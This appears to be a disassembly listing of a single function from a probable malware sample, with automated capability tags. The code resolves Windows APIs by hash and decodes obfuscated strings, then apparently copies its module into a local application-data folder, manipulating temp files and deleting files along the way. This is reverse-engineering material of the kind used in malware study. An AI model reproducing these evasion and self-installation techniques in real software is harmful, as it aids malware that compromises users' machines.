Function at 0x1002c118
Capabilities:
Check if file exists
Delete file
Get common file path
Resolve function by hash

Disassembly:
push 0x6ec
mov eax, 0x10048c0d
call fcn.10001cb0
xor ebx, ebx
lea ecx, [ebp - 0x6dc]
mov edx, str.h3H0y2MB5WPszROgMtCgyWPjhWO3zO5D
mov dword [ebp - 0x6e8], ebx
call fcn.1000ad15
mov esi, eax
mov dword [ebp - 4], ebx
mov edx, str.5EHu9WqxIoQa9WqD
lea ecx, [ebp - 0x664]
call fcn.1000ad15
mov byte [ebp - 4], 1
cmp dword [esi + 0x14], 0x10
jb 0x1002c160
mov esi, dword [esi]
cmp dword [eax + 0x14], 0x10
jb 0x1002c168
mov eax, dword [eax]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x6ec], eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x664]
push ebx
push 1
call fcn.100107d6
or edi, 0xffffffff
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x6dc]
push ebx
push 1
call fcn.100107d6
mov edx, str.BRO6yP7i5tPGz2Jup1MA5YuTp2MwM2Hk51MxDD
lea ecx, [ebp - 0x6ac]
call fcn.1000ad15
mov esi, eax
mov dword [ebp - 4], 2
mov edx, str.MWJYzWPg5eQa9WqD
lea ecx, [ebp - 0x694]
call fcn.1000ad15
mov byte [ebp - 4], 3
cmp dword [esi + 0x14], 0x10
jb 0x1002c1d7
mov esi, dword [esi]
cmp dword [eax + 0x14], 0x10
jb 0x1002c1df
mov eax, dword [eax]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x6f0], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x694]
push ebx
push 1
call fcn.100107d6
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x6ac]
push ebx
push 1
call fcn.100107d6
mov edx, 0xe610cfb8
mov ecx, 0x6a4abc5b
call fcn.1002af35
mov edx, str.hWO3zGyk9WPONWuxv072DD
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x67c]
call fcn.1000ad15
mov esi, eax
mov dword [ebp - 4], 4
mov edx, str.5EHgvEOqzrQa9WqD
lea ecx, [ebp - 0x6c4]
call fcn.1000ad15
mov byte [ebp - 4], 5
cmp dword [esi + 0x14], 0x10
jb 0x1002c25e
mov esi, dword [esi]
cmp dword [eax + 0x14], 0x10
jb 0x1002c266
mov eax, dword [eax]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x6c4]
push ebx
push 1
call fcn.100107d6
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x67c]
push ebx
push 1
call fcn.100107d6
mov edx, 0x4e25680
mov ecx, 0x6a4abc5b
call fcn.1002af35
mov dword [ebp - 0x6f8], eax
mov esi, 0x206
xor eax, eax
push esi
mov word [ebp - 0x23c], ax
lea eax, [ebp - 0x23a]
push ebx
push eax
call fcn.1002d750
push 0x25
pop edx
push 0x73
pop ecx
push 0x5c
pop eax
mov word [ebp - 0x30], ax
mov word [ebp - 0x2a], ax
xor eax, eax
push esi
mov word [ebp - 0x28], ax
mov word [ebp - 0x1c], ax
mov word [ebp - 0x64c], ax
lea eax, [ebp - 0x64a]
push ebx
push eax
mov word [ebp - 0x34], dx
mov word [ebp - 0x32], cx
mov word [ebp - 0x2e], dx
mov word [ebp - 0x2c], cx
mov word [ebp - 0x24], dx
mov word [ebp - 0x22], cx
mov word [ebp - 0x20], dx
mov word [ebp - 0x1e], cx
call fcn.1002d750
xor eax, eax
push esi
mov word [ebp - 0x444], ax
lea eax, [ebp - 0x442]
push ebx
push eax
call fcn.1002d750
add esp, 0x24
call fcn.1002b397
test eax, eax
je 0x1002c371
mov dword [ebp - 0x6e0], ebx
call fcn.1002b9f1
push 0x1f4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x1002c371
mov eax, dword [ebp - 0x6e0]
mov ecx, eax
inc eax
mov dword [ebp - 0x6e0], eax
cmp ecx, 0x3c
jl 0x1002c342
jmp 0x1002c6d4
mov dword [ebp - 0x6e4], ebx
push 1
push 0x1c
lea eax, [ebp - 0x23c]
push eax
push ebx
call dword [ebp - 0x6ec]
mov edx, str.5EQH5thD
lea ecx, [ebp - 0x67c]
call fcn.1000ad15
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 4], 6
cmp dword [eax + 0x14], 0x10
jb 0x1002c3b4
mov eax, dword [eax]
mov dword [ebp - 0x6e0], eax
test eax, eax
je 0x1002c408
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002c3bd
sub ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x6f4], eax
cmp eax, 0x3fffffff
jg 0x1002c408
add eax, eax
call fcn.1002d720
mov esi, esp
test esi, esi
je 0x1002c408
push dword [ebp - 0x6f4]
xor eax, eax
push esi
push edi
push dword [ebp - 0x6e0]
mov word [esi], ax
push ebx
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
test eax, eax
cmove esi, ecx
jmp 0x1002c40a
mov esi, ebx
push esi
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x23c]
push 0x104
push eax
call fcn.1000f3d9
add esp, 0x14
mov dword [ebp - 4], edi
push ebx
push 1
lea ecx, [ebp - 0x67c]
call fcn.100107d6
lea ecx, [ebp - 0x23c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x1002c444
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
cmp esi, 0x3fffffff
jle 0x1002c462
mov eax, ebx
jmp 0x1002c47b
add esi, esi
mov eax, esi
call fcn.1002d720
mov ecx, esp
lea edx, [ebp - 0x23c]
push 3
push esi
call fcn.10011f1e
push eax
call dword [ebp - 0x6f0]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1002c4b3
mov esi, dword [ebp - 0x6e4]
mov eax, esi
inc esi
mov dword [ebp - 0x6e4], esi
cmp eax, 0x3c
jl 0x1002c377
push 0x1006ece0
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea eax, [ebp - 0x23c]
mov esi, 0x104
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x23c]
push esi
push eax
call fcn.1000f3d9
add esp, 0x14
lea eax, [ebp - 0x64c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x444]
push eax
push ebx
push str.ser
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov esi, dword [ebp - 0x6f8]
lea eax, [ebp - 0x444]
push 3
push eax
lea eax, [ebp - 0x23c]
push eax
call esi
test eax, eax
jne 0x1002c562
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1002c562
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x1002c562
push str..dat
push 0x208
lea eax, [ebp - 0x23c]
push 0x2e
push eax
call fcn.1000d1b6
pop ecx
pop ecx
push eax
call fcn.10004249
add esp, 0xc
lea eax, [ebp - 0x6e8]
push eax
push edi
call dword [ebp - 0x14]
cmp dword [ebp - 0x6e8], 0
je 0x1002c650
test esi, esi
je 0x1002c607
push 0x2e
pop ecx
xor eax, eax
mov word [ebp - 0x6e4], cx
push 0x36
mov word [ebp - 0x6e2], ax
pop eax
push 0x34
mov word [ebp - 0x18], ax
pop eax
mov word [ebp - 0x16], ax
xor eax, eax
mov word [ebp - 0x14], cx
push ecx
lea ecx, [ebp - 0x6e0]
mov word [ebp - 0x12], ax
call fcn.1000c786
mov dword [ebp - 4], 7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x6e4]
push eax
lea ecx, [ebp - 0x6e0]
call fcn.100016c2
push 3
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 0x6e0]
call esi
mov dword [ebp - 4], edi
mov edx, dword [ebp - 0x6e0]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x1002c607
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x23c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x1002c610
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
cmp esi, 0x3fffffff
jg 0x1002c645
add esi, esi
mov eax, esi
call fcn.1002d720
mov ecx, esp
lea edx, [ebp - 0x23c]
push 3
push esi
call fcn.10011f1e
mov ebx, eax
push ebx
call fcn.1002b8a4
jmp 0x1002c6d4
test esi, esi
je 0x1002c664
push 3
lea eax, [ebp - 0x23c]
push eax
push 0x1006ece0
call esi
lea ecx, [ebp - 0x23c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x1002c66d
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
cmp esi, 0x3fffffff
jle 0x1002c68b
mov eax, ebx
jmp 0x1002c6a4
add esi, esi
mov eax, esi
call fcn.1002d720
mov ecx, esp
lea edx, [ebp - 0x23c]
push 3
push esi
call fcn.10011f1e
push eax
lea ecx, [ebp - 0x664]
call fcn.10003c6f
mov dword [ebp - 4], 9
lea eax, [ebp - 0x664]
push eax
call fcn.1002b3d4
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x664]
push ebx
push 1
call fcn.100107d6
xor eax, eax
inc eax
lea esp, [ebp - 0x708]
call fcn.10013394
ret